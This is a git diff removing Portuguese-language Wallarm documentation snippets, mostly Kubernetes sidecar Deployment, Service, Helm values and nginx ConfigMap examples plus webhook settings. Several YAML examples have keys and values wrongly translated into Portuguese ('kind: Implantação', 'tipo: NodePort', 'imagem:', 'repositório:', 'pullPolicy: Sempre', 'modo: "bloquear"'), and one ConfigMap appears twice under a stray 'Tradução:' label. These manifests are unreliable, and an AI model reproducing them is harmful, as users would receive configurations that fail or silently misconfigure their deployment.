/dev/null @@ -1,6 +0,0 @@ -* **Método de solicitação**: `POST` ou `PUT`. Por padrão, solicitações POST são enviadas. -* **Cabeçalho da solicitação** e seu valor se o servidor requer um cabeçalho não padrão para executar a solicitação. O número de cabeçalhos não é limitado. -* **Certificado CA**: certificado da CA que assinou um certificado do servidor. Se a CA é de confiança pública, este campo é opcional. Se um certificado do servidor é autoassinado, este campo é obrigatório e deve conter um certificado de sua própria CA que assinou um certificado do servidor. -* **Verificar certificado TLS**: esta configuração permite desativar a verificação do certificado do servidor especificado. Por padrão, a Wallarm verifica se um certificado do servidor é assinado por uma CA de confiança pública. Não recomendamos a desativação da verificação de certificados de servidor de produção. Se o seu servidor usa um certificado TLS autoassinado, você pode adicionar um certificado CA autoassinado para permitir o envio de solicitações a este servidor. -* **Tempo limite da solicitação, em segundos**: se o servidor não responder à solicitação dentro do tempo especificado, a solicitação falha. Por padrão: 15 segundos. -* **Tempo limite da conexão, em segundos**: se a conexão com o servidor não puder ser estabelecida durante o tempo especificado, a solicitação falha. Por padrão: 20 segundos. \ No newline at end of file diff --git a/include-pt-BR/integrations/webhook-examples/create-fluentd-webhook.md b/include-pt-BR/integrations/webhook-examples/create-fluentd-webhook.md deleted file mode 100644 index eddcaa6ae0..0000000000 --- a/include-pt-BR/integrations/webhook-examples/create-fluentd-webhook.md +++ /dev/null @@ -1,4 +0,0 @@ -* Webhooks são enviados para `https://fluentd-example-domain.com` -* Webhooks são enviados via solicitações POST -* A integração de webhook possui configurações avançadas padrão -* Webhooks enviados para URLs de Webhook são todos os eventos disponíveis: hits, eventos do sistema, vulnerabilidades, alterações de escopo \ No newline at end of file diff --git a/include-pt-BR/integrations/webhook-examples/create-logstash-webhook.md b/include-pt-BR/integrations/webhook-examples/create-logstash-webhook.md deleted file mode 100644 index a326f8053d..0000000000 --- a/include-pt-BR/integrations/webhook-examples/create-logstash-webhook.md +++ /dev/null @@ -1,4 +0,0 @@ -* Webhooks são enviados para `https://logstash.example.domain.com` -* Webhooks são enviados via solicitações POST -* A integração webhook tem configurações avançadas padrão -* Webhooks enviados para URLs de Webhook são todos eventos disponíveis: hits, eventos do sistema, vulnerabilidades, alterações de escopo \ No newline at end of file diff --git a/include-pt-BR/integrations/webhook-examples/overview.md b/include-pt-BR/integrations/webhook-examples/overview.md deleted file mode 100644 index 5e94ea433e..0000000000 --- a/include-pt-BR/integrations/webhook-examples/overview.md +++ /dev/null @@ -1,4 +0,0 @@ -O esquema de registro mais comum em sistemas complexos consiste nos seguintes componentes: - -* Coletor de dados: aceita logs de várias fontes e encaminha os logs para o sistema SIEM -* [Sistema SIEM](https://www.wallarm.com/what/siem-whats-security-information-and-event-management-technology-part-1) ou sistemas de gerenciamento de logs: usados para analisar logs e monitorar o status do sistema \ No newline at end of file diff --git a/include-pt-BR/integrations/webhook-examples/send-test-webhook.md b/include-pt-BR/integrations/webhook-examples/send-test-webhook.md deleted file mode 100644 index 1a488dc31a..0000000000 --- a/include-pt-BR/integrations/webhook-examples/send-test-webhook.md +++ /dev/null @@ -1,3 +0,0 @@ -Para testar a configuração, um novo usuário é adicionado no Console Wallarm: - -![Adicionando usuário](../../../../images/user-guides/settings/integrations/webhook-examples/adding-user.png) \ No newline at end of file diff --git a/include-pt-BR/issue-with-gpg-keys.md b/include-pt-BR/issue-with-gpg-keys.md deleted file mode 100644 index e3f3da5f8d..0000000000 --- a/include-pt-BR/issue-with-gpg-keys.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! aviso "Problema com as chaves GPG do CentOS" - Se você já adicionou o repositório Wallarm e obteve um erro relacionado a chaves GPG do CentOS inválidas, então siga estes passos: - - 1. Remova o repositório adicionado usando o comando `yum remove wallarm-node-repo`. - 2. Adicione o repositório usando o comando da aba apropriada acima. - - Possíveis mensagens de erro: - - * `https://repo.wallarm.com/centos/wallarm-node/7/2.14/x86_64/repodata/repomd.xml: [Errno -1] a assinatura repomd.xml não pôde ser verificada para wallarm-node_2.14` - * `Um dos repositórios configurados falhou (Wallarm Node para CentOS 7 - 2.14), e o yum não tem dados suficientes em cache para continuar.` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/deployment-template.md b/include-pt-BR/kubernetes-sidecar-container/deployment-template.md deleted file mode 100644 index 0c94d36eea..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/deployment-template.md +++ /dev/null @@ -1,26 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Definição do contêiner principal do seu aplicativo - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Porta na qual o contêiner do aplicativo aceita solicitações de entrada - - containerPort: 8080 -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md b/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md deleted file mode 100644 index 9d9d2fcb80..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md +++ /dev/null @@ -1,61 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - annotations: - # Elemento Wallarm: anotação para atualizar pods em execução após alterar Wallarm ConfigMap - checksum/config: '{{ include (print $.Template.BasePath "/wallarm-sidecar-configmap.yaml") . | sha256sum }}' - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Elemento Wallarm: definição do recipiente auxiliar Wallarm - - name: wallarm - image: {{ .Values.wallarm.image.repository }}:{{ .Values.wallarm.image.tag }} - imagePullPolicy: {{ .Values.wallarm.image.pullPolicy | quote }} - env: - - name: WALLARM_API_HOST - value: {{ .Values.wallarm.wallarm_host_api | quote }} - - name: DEPLOY_USER - value: {{ .Values.wallarm.deploy_username | quote }} - - name: DEPLOY_PASSWORD - value: {{ .Values.wallarm.deploy_password | quote }} - - name: DEPLOY_FORCE - value: "true" - - name: TARANTOOL_MEMORY_GB - value: {{ .Values.wallarm.tarantool_memory_gb | quote }} - ports: - - name: http - # Porta na qual o recipiente auxiliar Wallarm aceita requisições - # do objeto Service - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # Definição do recipiente do aplicativo principal - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Porta na qual o recipiente do aplicativo aceita requisições recebidas - - containerPort: 8080 - volumes: - # Elemento Wallarm: definição do volume wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-latest.md b/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-latest.md deleted file mode 100644 index f369b874ab..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-latest.md +++ /dev/null @@ -1,59 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Implantação -metadata: - annotations: - # Elemento Wallarm: anotação para atualizar pods em execução após mudar o Wallarm ConfigMap - checksum / config: '{{ include (print $.Template.BasePath "/wallarm-sidecar-configmap.yaml") . | sha256sum }}' - name: meuapp -spec: - selector: - matchLabels: - app: meuapp - template: - metadata: - labels: - app: meuapp - spec: - containers: - # Elemento Wallarm: definição do container lateral Wallarm - - name: wallarm - image: {{ .Values.wallarm.image.repository }}:{{ .Values.wallarm.image.tag }} - imagePullPolicy: {{ .Values.wallarm.image.pullPolicy | quote }} - env: - - name: WALLARM_API_HOST - value: {{ .Values.wallarm.wallarm_host_api | quote }} - - name: WALLARM_API_TOKEN - value: {{ .Values.wallarm.wallarm_api_token | quote }} - - name: DEPLOY_FORCE - value: "true" - - name: TARANTOOL_MEMORY_GB - value: {{ .Values.wallarm.tarantool_memory_gb | quote }} - ports: - - name: http - # Porta na qual o container lateral Wallarm aceita solicitações - # do objeto de serviço - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # Definição do container do seu aplicativo principal - - name: meuapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Porta na qual o contêiner do aplicativo aceita solicitações de entrada - - containerPort: 8080 - volumes: - # Elemento Wallarm: definição do volume wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md b/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md deleted file mode 100644 index 40502f8ab7..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md +++ /dev/null @@ -1,63 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - annotations: - # Elemento Wallarm: anotação para atualizar pods em execução após alterar Wallarm ConfigMap - checksum/config: '{{ include (print $.Template.BasePath "/wallarm-sidecar-configmap.yaml") . | sha256sum }}' - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Elemento Wallarm: definição do container secundário Wallarm - - name: wallarm - image: {{ .Values.wallarm.image.repository }}:{{ .Values.wallarm.image.tag }} - imagePullPolicy: {{ .Values.wallarm.image.pullPolicy | quote }} - env: - - name: WALLARM_API_HOST - value: {{ .Values.wallarm.wallarm_host_api | quote }} - - name: DEPLOY_USER - value: {{ .Values.wallarm.deploy_username | quote }} - - name: DEPLOY_PASSWORD - value: {{ .Values.wallarm.deploy_password | quote }} - - name: DEPLOY_FORCE - value: "true" - - name: WALLARM_ACL_ENABLE - value: "true" - - name: TARANTOOL_MEMORY_GB - value: {{ .Values.wallarm.tarantool_memory_gb | quote }} - ports: - - name: http - # Porta na qual o container secundário Wallarm aceita solicitações - # do objeto de serviço - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # Definição do container principal do seu aplicativo - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Porta na qual o container do aplicativo aceita solicitações de entrada - - containerPort: 8080 - volumes: - # Elemento Wallarm: definição do volume wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md b/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md deleted file mode 100644 index 0be3005d19..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md +++ /dev/null @@ -1,67 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Elemento Wallarm: definição do contêiner sidecar Wallarm - - name: wallarm - image: wallarm/node:2.18.1-5 - imagePullPolicy: Always - env: - # Endpoint da API Wallarm: - # "api.wallarm.com" para o Cloud EU - # "us1.api.wallarm.com" para o Cloud US - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # Nome de usuário do usuário com a função Deploy - - name: DEPLOY_USER - value: "username" - # Senha do usuário com a função Deploy - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # Se deve habilitar a funcionalidade de bloqueio de IP - - name: WALLARM_ACL_ENABLE - value: "true" - # Quantidade de memória em GB para dados de análise de solicitações - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # Porta na qual o contêiner sidecar Wallarm aceita solicitações - # do objeto do serviço - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # Definição do contêiner do aplicativo principal - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Porta na qual o contêiner do aplicativo aceita solicitações de entrada - - containerPort: 8080 - volumes: - # Elemento Wallarm: definição do volume wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` diff --git a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.0.md b/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.0.md deleted file mode 100644 index 0e285efaa2..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.0.md +++ /dev/null @@ -1,64 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Elemento Wallarm: definição do contêiner Wallarm sidecar - - name: wallarm - image: wallarm/node:3.0.0-3 - imagePullPolicy: Always - env: - # Ponto final da API Wallarm: - # "api.wallarm.com" para a nuvem da UE - # "us1.api.wallarm.com" para a nuvem dos EUA - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # Nome de usuário do usuário com a função Deploy - - name: DEPLOY_USER - value: "username" - # Senha do usuário com a função Deploy - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # Quantidade de memória em GB para dados de análise de solicitação - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # Porta na qual o contêiner Wallarm sidecar aceita solicitações - # do objeto Service - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # Definição do seu contêiner de aplicativo principal - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Porta na qual o contêiner de aplicativos aceita solicitações de entrada - - containerPort: 8080 - volumes: - # Elemento Wallarm: definição do volume wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.2.md b/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.2.md deleted file mode 100644 index 9bf9e37f1b..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.2.md +++ /dev/null @@ -1,64 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Elemento Wallarm: definição do container lateral Wallarm - - name: wallarm - image: wallarm/node:3.2.1-1 - imagePullPolicy: Always - env: - # Endpoint da API Wallarm: - # "api.wallarm.com" para o Cloud da UE - # "us1.api.wallarm.com" para o Cloud dos EUA - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # Usuário com o papel de Deploy - - name: DEPLOY_USER - value: "nome_de_usuario" - # Senha do usuário com o papel de Deploy - - name: DEPLOY_PASSWORD - value: "senha" - - name: DEPLOY_FORCE - value: "true" - # Quantidade de memória em GB para dados de análise de solicitações - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # Porta na qual o container lateral Wallarm aceita solicitações - # do objeto de Serviço - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # Definição do container do seu aplicativo principal - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Porta na qual o container da aplicação aceita solicitações de entrada - - containerPort: 8080 - volumes: - # Elemento Wallarm: definição do volume wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md b/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md deleted file mode 100644 index 4599475691..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md +++ /dev/null @@ -1,64 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Elemento Wallarm: definição do contêiner lateral do Wallarm - - name: wallarm - image: wallarm/node:3.6.2-1 - imagePullPolicy: Always - env: - # Ponto final da API Wallarm: - # "api.wallarm.com" para o Cloud EU - # "us1.api.wallarm.com" para o Cloud US - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # Nome de usuário do usuário com a função de Deploy - - name: DEPLOY_USER - value: "username" - # Senha do usuário com a função de Deploy - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # Quantidade de memória em GB para análise de dados de solicitação - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # Porta na qual o contêiner lateral do Wallarm aceita solicitações - # do objeto Service - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # Definição do seu contêiner de aplicativo principal - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Porta na qual o contêiner de aplicativo aceita solicitações de entrada - - containerPort: 8080 - volumes: - # Elemento Wallarm: definição do volume wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` diff --git a/include-pt-BR/kubernetes-sidecar-container/service-template-manifest.md b/include-pt-BR/kubernetes-sidecar-container/service-template-manifest.md deleted file mode 100644 index bd20d0bf74..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/service-template-manifest.md +++ /dev/null @@ -1,17 +0,0 @@ -``` -apiVersion: v1 -kind: Service -metadata: - name: myapp - labels: - run: myapp -spec: - tipo: NodePort - ports: - - port: 80 - targetPort: 8080 - protocol: TCP - name: http - selector: - run: myapp -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md b/include-pt-BR/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md deleted file mode 100644 index bf54dbb04e..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md +++ /dev/null @@ -1,10 +0,0 @@ -``` -... - ports: - - port: 80 - targetPort: 80 - protocol: TCP - name: http - selector: - run: myapp -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/service-template-sidecar-port.md b/include-pt-BR/kubernetes-sidecar-container/service-template-sidecar-port.md deleted file mode 100644 index 92b980e253..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/service-template-sidecar-port.md +++ /dev/null @@ -1,8 +0,0 @@ -``` -... - - port: {{ .Values.service.port }} - # Porta do contêiner Wallarm sidecar; - # o valor deve ser idêntico a ports.containerPort - # na definição do contêiner Wallarm sidecar - targetPort: 80 -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/service-template.md b/include-pt-BR/kubernetes-sidecar-container/service-template.md deleted file mode 100644 index ef06e9a0db..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/service-template.md +++ /dev/null @@ -1,15 +0,0 @@ -``` -apiVersion: v1 -kind: Service -metadata: - name: myapp -spec: - selector: - app: myapp - ports: - - port: {{ .Values.service.port }} - # Porta do contêiner auxiliar Wallarm; - # o valor deve ser idêntico ao ports.containerPort - # na definição do contêiner auxiliar Wallarm - targetPort: 8080 -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md b/include-pt-BR/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md deleted file mode 100644 index 80272cb2bc..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md +++ /dev/null @@ -1,19 +0,0 @@ -1. Obtenha a lista de pods usando o seguinte comando: - - ``` - kubectl get pods - ``` - - O número de contêineres no pod deve aumentar, e o status do pod deve ser **Running**. - - ``` - NAME READY STATUS RESTARTS AGE - mychart-856f957bbd-cr4kt 2/2 Running 0 3m48s - ``` -2. Vá para Wallarm Console → **Nodes** através do link abaixo e certifique-se de que um novo nó está sendo exibido. Este nó criado é usado para filtrar solicitações para sua aplicação. - * https://us1.my.wallarm.com/nodes/ para a [Nuvem US](../../../about-wallarm/overview.md#us-cloud) - * https://my.wallarm.com/nodes/ para a [Nuvem EU](../../../about-wallarm/overview.md#eu-cloud) -3. Envie um pedido malicioso de teste para o aplicativo conforme descrito nestas [instruções](../../../admin-en/installation-check-operation-en.md#2-run-a-test-attack). -4. Vá para Wallarm Console → **Events** através do link abaixo e certifique-se de que um ataque está sendo exibido na lista: - * https://us1.my.wallarm.com/events/ para a [Nuvem US](../../../about-wallarm/overview.md#us-cloud) - * https://my.wallarm.com/events/ para a [Nuvem EU](../../../about-wallarm/overview.md#eu-cloud) \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-2.18.md b/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-2.18.md deleted file mode 100644 index ae982a2ef8..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-2.18.md +++ /dev/null @@ -1,28 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 2.18.1-5 - pullPolicy: Always - # Endpoint da API Wallarm: - # "api.wallarm.com" para a Nuvem da EU - # "us1.api.wallarm.com" para a Nuvem dos EUA - wallarm_host_api: "api.wallarm.com" - # Nome de usuário do usuário com a função Deploy - deploy_username: "username" - # Senha do usuário com a função Deploy - deploy_password: "password" - # Porta na qual o contêiner aceita solicitações de entrada, - # o valor deve ser idêntico a ports.containerPort - # na definição do seu aplicativo principal - app_container_port: 80 - # Modo de filtragem de solicitação: - # "off" para desativar o processamento de solicitações - # "monitoring" para processar, mas não bloquear solicitações - # "block" para processar todas as solicitações e bloquear as maliciosas - mode: "block" - # Quantidade de memória em GB para dados de análise de solicitações - tarantool_memory_gb: 2 - # Defina como "true" para ativar a funcionalidade de Bloqueio de IP - enable_ip_blocking: "false" -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-3.0.md b/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-3.0.md deleted file mode 100644 index 919c789e95..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-3.0.md +++ /dev/null @@ -1,27 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 3.0.0-3 - pullPolicy: Sempre - # Endereço da API Wallarm: - # "api.wallarm.com" para o Cloud EU - # "us1.api.wallarm.com" para o Cloud EUA - wallarm_host_api: "api.wallarm.com" - # Nome de usuário do usuário com a função Deploy - deploy_username: "nome_do_usuario" - # Senha do usuário com a função Deploy - deploy_password: "senha" - # Porta na qual o contêiner aceita solicitações de entrada, - # o valor deve ser idêntico ao ports.containerPort - # na definição do seu aplicativo principal - app_container_port: 80 - # Modo de filtragem de solicitação: - # "off" para desativar o processamento de solicitações - # "monitoring" para processar, mas não bloquear solicitações - # "safe_blocking" para bloquear solicitações maliciosas originadas de IPs na lista cinza - # "block" para processar todas as solicitações e bloquear as maliciosas - mode: "block" - # Quantidade de memória em GB para dados de análise de solicitação - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-3.2.md b/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-3.2.md deleted file mode 100644 index 7b9c0cfb19..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-3.2.md +++ /dev/null @@ -1,27 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 3.2.1-1 - pullPolicy: Sempre - # Ponto de extremidade da API Wallarm: - # "api.wallarm.com" para o Cloud EU - # "us1.api.wallarm.com" para o Cloud US - wallarm_host_api: "api.wallarm.com" - # Nome de usuário do usuário com a função de Implementação - deploy_username: "username" - # Senha do usuário com a função de Implementação - deploy_password: "password" - # Porta em que o contêiner aceita solicitações de entrada, - # o valor deve ser idêntico a ports.containerPort - # na definição do seu contêiner de aplicativo principal - app_container_port: 80 - # Modo de filtragem de solicitação: - # "off" para desativar o processamento de solicitações - # "monitoring" para processar, mas não bloquear solicitações - # "safe_blocking" para bloquear solicitações maliciosas originadas de IPs cinza - # "block" para processar todas as solicitações e bloquear as maliciosas - mode: "block" - # Quantidade de memória em GB para dados de análise de solicitações - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-3.6.md b/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-3.6.md deleted file mode 100644 index 777f48e0d3..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-3.6.md +++ /dev/null @@ -1,27 +0,0 @@ -``` -wallarm: - imagem: - repository: wallarm/node - tag: 3.6.2-1 - pullPolicy: Sempre - # Endpoint de API do Wallarm: - # "api.wallarm.com" para o Cloud EU - # "us1.api.wallarm.com" para o Cloud US - wallarm_host_api: "api.wallarm.com" - # Nome de usuário do usuário com a função Deploy - deploy_username: "username" - # Senha do usuário com a função Deploy - deploy_password: "password" - # Porta na qual o contêiner aceita solicitações de entrada, - # o valor deve ser idêntico ao ports.containerPort - # na definição do contêiner do seu aplicativo principal - app_container_port: 80 - # Modo de filtragem de solicitação: - # "off" para desabilitar o processamento de solicitações - # "monitoring" para processar, mas não bloquear solicitações - # "safe_blocking" para bloquear solicitações maliciosas originadas de IPs na lista cinza - # "block" para processar todas as solicitações e bloquear as maliciosas - mode: "block" - # Quantidade de memória em GB para dados analíticos de solicitações - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-4.0.md b/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-4.0.md deleted file mode 100644 index 7b91ba40a7..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/values-wallarm-description-4.0.md +++ /dev/null @@ -1,25 +0,0 @@ -``` -wallarm: - imagem: - repositório: wallarm/node - tag: 4.0.2-1 - pullPolicy: Sempre - # Ponto de acesso da API Wallarm: - # "api.wallarm.com" para a nuvem da EU - # "us1.api.wallarm.com" para a nuvem dos EUA - wallarm_host_api: "api.wallarm.com" - # Token do nó Wallarm - wallarm_api_token: "token" - # Porta na qual o contêiner aceita solicitações recebidas, - # o valor deve ser idêntico a ports.containerPort - # na definição do contêiner do seu aplicativo principal - app_container_port: 80 - # Modo de filtragem de solicitação: - # "desligado" para desativar o processamento de solicitações - # "monitoramento" para processar, mas não bloquear solicitações - # "bloqueio_seguro" para bloquear solicitações maliciosas originadas de IPs em lista cinza - # "bloquear" para processar todas as solicitações e bloquear as maliciosas - modo: "bloquear" - # Quantidade de memória em GB para dados de análise de solicitação - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md b/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md deleted file mode 100644 index 9c97de468a..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md +++ /dev/null @@ -1,23 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - wallarm_mode {{ .Values.wallarm.mode | quote }}; - # wallarm_application 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - proxy_pass http://localhost:{{ .Values.wallarm.app_container_port }}; - include proxy_params; - } - } -``` diff --git a/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md b/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md deleted file mode 100644 index 6965baf1d7..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md +++ /dev/null @@ -1,49 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - wallarm_mode {{ .Values.wallarm.mode | quote }}; - # wallarm_instance 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - proxy_pass http://localhost:{{ .Values.wallarm.app_container_port }}; - include proxy_params; - } - } -``` - -Tradução: - -``` -apiVersion: v1 -kind: ConfigMap -metadata: - nome: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - wallarm_mode {{ .Values.wallarm.mode | quote }}; - # wallarm_instance 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - proxy_pass http://localhost:{{ .Values.wallarm.app_container_port }}; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md b/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md deleted file mode 100644 index 304b743d79..0000000000 --- a/include-pt-BR/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md +++ /dev/null @@ -1,32 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf 